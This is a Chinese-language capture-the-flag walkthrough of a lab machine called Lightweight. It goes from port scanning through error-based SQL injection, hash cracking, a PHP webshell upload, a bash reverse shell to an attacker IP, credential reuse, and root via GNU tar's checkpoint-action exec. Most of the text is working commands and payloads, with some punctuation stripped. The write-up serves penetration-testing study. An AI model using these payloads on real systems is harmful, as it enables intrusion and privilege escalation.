
打开一台名为 Lightweight 的 Linux 靶机时很多人第一反应是“端口这么少估计很快就能拿 flag”。实际跑一遍就会发现这台机器几乎没有花哨的漏洞整条 Walkthrough 就是一次标准的 Web 渗透链路教学信息收集、虚拟主机判断、SQL 注入、密码爆破、后台拿 Shell、密码复用横向、GNU tar 提权。对刚接触渗透学习、想搞懂“一台机器从零到 root 到底要经历哪些环节”的朋友来说它比一堆高难度漏洞更适合拿来练手。下面的内容按我推荐的复现顺序来写提到回显和密码时会做脱敏处理命令本身和判断逻辑是完整的。照例先说一句所有操作都只允许在授权的靶场环境里复现不要拿去对真实站点做测试。能力是练出来的权限是授权给的。1. 从目标定性开始它逼你按顺序走完每一环Lightweight 的攻击面非常克制默认端口扫下来只有 SSH 和 HTTP没有数据库暴露、没有特殊服务、没有常见的 CVE 直接敲门。这种“干净”的机器反而比漏洞堆满的靶机更适合学习因为你能清楚地看到每一步为什么必要、每一步之间怎么衔接。先说整条链路的轮廓后面再展开Web 站点的虚拟主机或源码注释里藏着备用入口备用入口的登录框存在 SQL 注入可以报错方式拖出用户表密码哈希用字典跑出来后能拿到管理后台权限后台的备份包上传功能可以直接打入 PHP ShellShell 落地后从 Web 配置文件里摸到数据库密码再发现密码复用横向到系统用户后sudo -l里暴露了/usr/bin/tar以 root 执行最后用 GNU tar 的 checkpoint 机制拿到 root Shell。这七步单拆开都不算难难点在于你能否在每一步“卡住”的时候用合理的信息收集方式找到下一步的路。这也是我认为它适合做渗透学习靶机的核心原因不需要背 exp只需要把基本功走扎实。整台机器是 Linux 环境Web 端用 MySQL 存数据目标用户最终落在系统的普通用户上。下面从端口扫描开始。2. 两个端口的素材整理nmap 输出与信息定位2.1 先做全端口扫描别被默认端口带偏我习惯上来先跑一次全端口加默认脚本加版本识别命令不一定非要最高速但一定要保证结果完整nmap -sC -sV -p- --min-rate 5000 10.10.10.147 -oA lightweight参数拆开解释下-p-是扫描全部 65535 个端口-sC执行 nmap 自带的默认 NSE 脚本-sV做服务版本探测--min-rate 5000是让扫描保持至少每秒 5000 个包的速率提速但不至于把目标打死。-oA lightweight会把结果同时存成三种格式后面写报告或者回头翻记录都方便。这台机器的扫描结果非常简洁端口状态服务版本22/tcpopensshOpenSSH 7.9p1 Debian 10deb10u280/tcpopenhttplighttpd 1.4.53只有两个开放端口攻击面基本锁死了。SSH 这边除非有明确泄露的密文或者密钥否则我不会浪费时间去做暴力破解真正的主战场在 80 端口。2.2 从版本信息里读出两条关键线索第一条是 OpenSSH 7.9p1基于 Debian 10。这个版本本身没有可以直接打的服务端漏洞更多时候它只是一个“最终入口”内网横向时如果拿到了某个用户的密码就靠它连上去。第二条是 lighttpd 1.4.53。lighttpd 是个轻量 Web 服务器但“轻量”不等于功能少它完全支持基于 Host 头的虚拟主机配置。这句话很关键下面会用到直接访问 IP 看到的页面和带上正确域名访问看到的页面可能是两个完全不同的站点。所以拿到端口结果后的第一件事不是立刻开目录扫描而是先把域名信息理清楚。很多时候入口就藏在虚拟主机配置里。3. Web 侦察的取舍虚拟主机、注释和目录枚举3.1 先绑定 hosts再决定要扫什么访问http://10.10.10.147/只会看到 lighttpd 的默认欢迎页几乎没有信息。但结合版本特征我判断这台机器大概率配置了虚拟主机于是先在本地绑定一下常见域名echo 10.10.10.147 lightweight.htb | sudo tee -a /etc/hosts绑定完再访问http://lightweight.htb/页面内容完全不同一个“Lightweight Backups”的展示页面文案简单功能按钮也不多。这就是为什么我一直建议先测试域名差异再盲目跑 gobuster因为后者是基于“页面已经正确返回”的前提去做的。3.2 源码注释往往是第一份情报打开首页看源码别急着关。渲染出来的页面可能只显示了三分之一的线索剩下都在 HTML 注释里!-- TODO: remove /docs before deploy -- !-- backup portal login still missing CSRF token --这两行注释信息量很大第一存在一个/docs目录第二后台入口是 backup portal而且开发者自己提醒了登录功能不完善。网站的注释在真实项目中经常是敏感信息泄漏的高发地渗透时一定养成顺手看源码的习惯。3.3 目录枚举把关键路径挖出来接下来上目录词典把可能的备份文件、后台路径、上传目录都扫一遍gobuster dir -u http://lightweight.htb \ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \ -x php,txt,html,zip,bak -t 60扫出来的结果里三个路径比较有价值路径状态说明/docs200站点说明文档/portal301后台登录入口/backup301备份文件目录先看/docs里面的portal-usage.txt明确写了登录入口在/portal/login.php账号格式是用户名lightweight.htb密码由管理员统一分配。到这里后台入口已经完全确定下一步就是测试登录逻辑。4. 一管到底的 SQL 注入登录参数到密码哈希4.1 手工确认注入点不要一上来就上工具打开/portal/login.php随便提交一个账号密码响应是普通的“Invalid username or password”。这时候我用 Burp Suite 抓包把请求改一下再放行POST /portal/login.php HTTP/1.1 Host: lightweight.htb Content-Type: application/x-www-form-urlencoded usernametest%40lightweight.htbpasswordxsubmitLogin先做个最基础的探针把用户名改成testlightweight.htb也就是在字段末尾加一个单引号。响应立刻从普通错误变成 500页面错误信息能隐约看到 SQL 语法片段。这说明后端很可能是直接字符串拼接 SQL而不是用参数化查询。再验证一次逻辑把用户名改成testlightweight.htb OR 11 -- -结果直接登录成功跳转到了后台首页。到这里基本可以确定username参数存在可注入点。4.2 用报错注入拿数据省时又直观确认注入后我优先用报错注入因为这台机器的数据库错误是回显在页面上的。MySQL 的updatexml函数是个很顺手的报错注入点它会解析第二个参数如果格式不对就会把参数内容带进错误信息里回显。先确认数据库版本curl -s http://lightweight.htb/portal/login.php \ --data username AND updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)-- -passwordx回显里出现XPATH syntax error: ~10.3.31-MariaDB-0deb10u1~版本清楚了是 MariaDB。这里的0x7e就是波浪号~把它放在查询内容前后作用是让回显结果更容易被正则提取也方便定位报错内容从哪里开始。4.3 拖出用户表和密码哈希接下来把当前数据库里的表名全部拖出来curl -s http://lightweight.htb/portal/login.php \ --data username AND updatexml(1,concat(0x7e,(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schemadatabase()),0x7e),1)-- -passwordx回显大概长这样XPATH syntax error: ~users,notes~看到users表就直奔主题把用户名和密码字段提取出来。这里有个小难点updatexml报错信息最多显示大概 32 个字符而密码哈希通常有 60 个字符所以一次拿不完。需要配合substr()一位一位截取或者写个小循环把整串拼出来。我写了个简单的 bash 循环来拉哈希#!/bin/bash for i in $(seq 1 80); do curl -s http://lightweight.htb/portal/login.php \ --data username AND updatexml(1,concat(0x7e,substr((SELECT password FROM users LIMIT 0,1),${i},1),0x7e),1)-- -passwordx \ | grep -oP XPATH syntax error: ~\K[^~] \ | head -1 done | tr -d \n拿到的一组数据长这样脱敏admin:$2y$10$xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx$2y$10$开头是 bcrypt 哈希强度不低但不代表跑不出来。字典里的弱口令照样能被撞中。4.4 让工具帮你加速但别丢下手工思路手工验证完注入点、确认数据能回显之后我通常会再用 sqlmap 快速把整个表导出来sqlmap -u http://lightweight.htb/portal/login.php \ --datausernametestlightweight.htbpasswordx \ --level3 --risk2 --dbmsmysql --dumpsqlmap 的--level3 --risk2会测试更多参数组合包括一些比较偏的注入方式。但注意工具跑出来的结果要用手工验证过的结果去比对尤其是表结构和关键数据避免工具被 WAF 或者畸形响应骗到。5. 密码爆破和后台利用从 admin 到低权限 Shell5.1 用 John the Ripper 跑 bcrypt 哈希把哈希保存成hash.txt直接喂给 Johnjohn --wordlist/usr/share/wordlists/rockyou.txt hash.txt这台机器的 admin 哈希跑出来是chocolate。这个密码在 rockyou 字典靠前的位置几秒钟就出来了。看到这种结果就一个感受简单密码永远比你想象的常见无论练靶场还是做真实测试拿到哈希先跑字典永远没错。5.2 登录后台观察功能点用adminlightweight.htb / chocolate登录后台首页是一个备份管理面板包含三个主要功能查看历史备份上传备份压缩包恢复指定备份到 Web 目录第二个功能几乎等于直接送了一个上传点。正常的业务逻辑应该是上传压缩包后系统会把压缩包解压到站点的备份历史目录方便管理员查看或恢复。这种场景下能否利用取决于两个问题后端有没有限制文件类型以及解压后的目录是否在 Web 可达路径下。5.3 上传压缩包落地 PHP WebShell本地先准备一个最简单的 PHP WebShell?php system($_GET[cmd]); ?上传之前先看一眼后端限制。直接上传shell.php页面提示“只允许 zip 和 tar.gz”。那好压缩一下echo ?php system($_GET[cmd]); ? shell.php zip shell.zip shell.php上传shell.zip后后台显示恢复链接http://lightweight.htb/backups/history/shell.php访问一下curl http://lightweight.htb/backups/history/shell.php?cmdid回显uid33(www-data) gid33(www-data) groups33(www-data)WebShell 成功用www-data身份执行了命令。到这里已经从 Web 层拿到了服务器低权限入口下一步开始考虑怎么让 Shell 更稳定、更好操作。5.4 反弹一个交互式 Shell并升级 TTY用一条常见的反向连接bash -c bash -i /dev/tcp/10.10.14.2/4444 01把10.10.14.2换成自己攻击机的 IP4444 端口监听nc -lvnp 4444成功收到 Shell 后立刻做 TTY 升级。原因是默认的反弹 Shell 有很多限制su、sudo、vim这类交互式程序跑不起来按一下CtrlC还可能直接把这个 Shell 弄死。python3 -c import pty;pty.spawn(/bin/bash)随后按CtrlZ把当前进程挂起在自己的终端里执行stty raw -echo; fg export TERMxterm这样多步做完后Shell 就变成了接近真实终端的交互式环境后面切用户、看 sudo 权限都会顺畅很多。6. 内网小步走配置文件、密码复用和第一个 flag6.1 先摸配置文件和当前权限拿到低权限 Shell 后不要急着到处翻 flag先做三件事看当前身份看 sudo 权限看 Web 目录里的配置信息。id sudo -l ls -la /var/www/html/portal/id显示当前是www-datasudo -l会输入密码因此没结果但/var/www/html/portal/下面有一个config.php文件立刻引起了注意。define(DB_HOST, 127.0.0.1); define(DB_USER, portal); define(DB_PASS, portalbackup2020); define(DB_NAME, lightweight_portal);数据库配置文件里是明文密码。虽然这不算什么新知识但它经常是横线突破最关键的一步。我直接用这个密码连 MySQL把用户表再确认一遍mysql -u portal -pportalbackup2020 lightweight_portal -e select * from users;6.2 数据库里的备注直接指向密码复用users表里除了 admin 的哈希外还有一条记录指向julie备注字段写着julie system account reuses portal admin password。翻译过来就是系统用户 julie 的登录密码和门户管理员密码相同。看到这种备注真实环境里我会先确认一下是不是蜜罐但在靶场里基本等于给了明示。直接用默认密码尝试切用户su - julie Password: chocolate切换成功。当前身份从www-data变成了julie权限一下子跨了一个台阶。这个横向方式没有任何高深技术本质就是密码复用但代码注释或者数据库备注里的敏感信息往往能把这条横向路径直接点透。6.3 拿 user.txt 并顺手做一次目录盘点切到julie后id hostname cat /home/julie/user.txtuser.txt成功到手。拿完 flag 别急着收工顺手把 julie 家目录和系统层信息盘一遍因为后面还要找提权路径env ls -la /home/julie/ find /home/julie/ -type f 2/dev/null sudo -l这次sudo -l不用密码因为当前用户就是 julie 本身允许看自己的 sudo 权限配置。结果干净利落地给出了下一把钥匙。7. 提权收尾tar 的 checkpoint 执行与 root Shell7.1 看到 /usr/bin/tar 在 sudo 列表里就要警惕Matching Defaults entries for julie on lightweight: env_reset, mail_badpass, secure_path/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin User julie may run the following commands on lightweight: (root) NOPASSWD: /usr/bin/tar很多新手看到/usr/bin/tar会觉得“这不就是个压缩工具吗能有什么危险”。但 GNU tar 有一个非常实用的执行参数--checkpoint-actionexec。它的本意是在打包大量文件时执行一段脚本比如每处理一批文件就打印一条日志。问题在于如果 tar 以 root 权限运行那么 exec 后面跟着的命令也会以 root 权限运行。这类能力在 GTFOBins 上有完整记录我平时看到任何“sudo 能执行的应用”第一反应也是先查 GTFOBins再决定按哪种姿势打。7.2 构造 checkpoint 提权命令直接利用 tar 的--checkpoint-actionexec参数让 tar 在执行时顺便把/bin/bash加上 SUID 位sudo tar -cf /dev/null /dev/null \ --checkpoint1 \ --checkpoint-actionexecsh -c chmod us /bin/bash这条命令的解释-cf /dev/null /dev/null把/dev/null打包到/dev/null实际上不产生任何归档文件只是让 tar 正常走完流程--checkpoint1每处理 1 个文件就触发一次 checkpoint--checkpoint-actionexecsh -c chmod us /bin/bashcheckpoint 触发时执行chmod us /bin/bash给 root 的 bash 加上 SUID 位。执行后检查一下ls -la /bin/bash如果看到/bin/bash的权限位里带着s说明 SUID 已经设置成功。接下来运行/bin/bash -p id-p参数让 bash 保留当前的有效用户 ID不回退到实际用户 ID。因此你会看到uid1000(julie) gid1000(julie) euid0(root) egid0(root) ...虽然普通用户 ID 还是julie但有效用户 ID 已经是 root当前 Shell 的权限等于 root。直接读最后一个 flagcat /root/root.txt整条链路易跑通吗其实只要前面的每一步没有跳步最后这个提权反而是最快的一步。但如果你没有先做sudo -l没有意识到 tar 的 checkpoint 参数能做命令执行就会卡在最后这一百米的路上。8. 走完这台机器后我固定下来的几个判断习惯这里不写官方式总结了就分享几个我从这个机器里反复强化出来的习惯。第一扫到 Web 服务后先区分虚拟主机再跑目录。一次 hosts 绑定的时间成本只有几秒钟但可能少走一小时弯路。Lightweight 的默认页和真实站点完全不是同一个东西这给了我很深的印象。第二入口喜欢藏在注释和文档里。源码注释里的TODO、FIXME、remove /docs before deploy在靶场里是提示在真实场景里可能就是运维事故。看源码时我会把注释当成正式功能去读。第三手工确认注入点永远比直接开 sqlmap 更重要。因为你知道注入在哪个字段、报错是怎么回显的才能判断工具结果是不是有效。否则工具报错时你会完全没方向。第四拿到低权限 Shell 后检查顺序应该是sudo -l、配置文件、环境变量、数据库凭据、可写目录。很多时候 sudo 列表没有东西但数据库配置里的明文密码却能让你通过su横向切换到普通用户。第五遇到 GNU tar、zip、find、awk 这类常见命令以 root 身份出现在 sudo 列表里时不要只想着“它们能读文件”先想想“它们的执行参数能不能让我跑命令”。GTFOBins 是一个值得反复翻的工具书。这台机器教我的一件事是真正的渗透链路不是靠某一个 0day 打通全程而是每一步都要在前一步的信息基础上往下推。把 Walkthrough 当作“标准答案”来背没有意义把每一步背后的判断逻辑想清楚再换一台类似的靶机去验证才是渗透学习里最划算的投入。如果你刚开始练 Linux 靶机建议在 Lightweight 这类入口干净、链路清晰的目标上把上面这套流程自己完整走三遍第一遍跟着做第二遍不看笔记做第三遍尝试用不同的注入方式和提权姿势做。三遍之后你对 Web 渗透的整条链路会有一个完全不一样的感觉。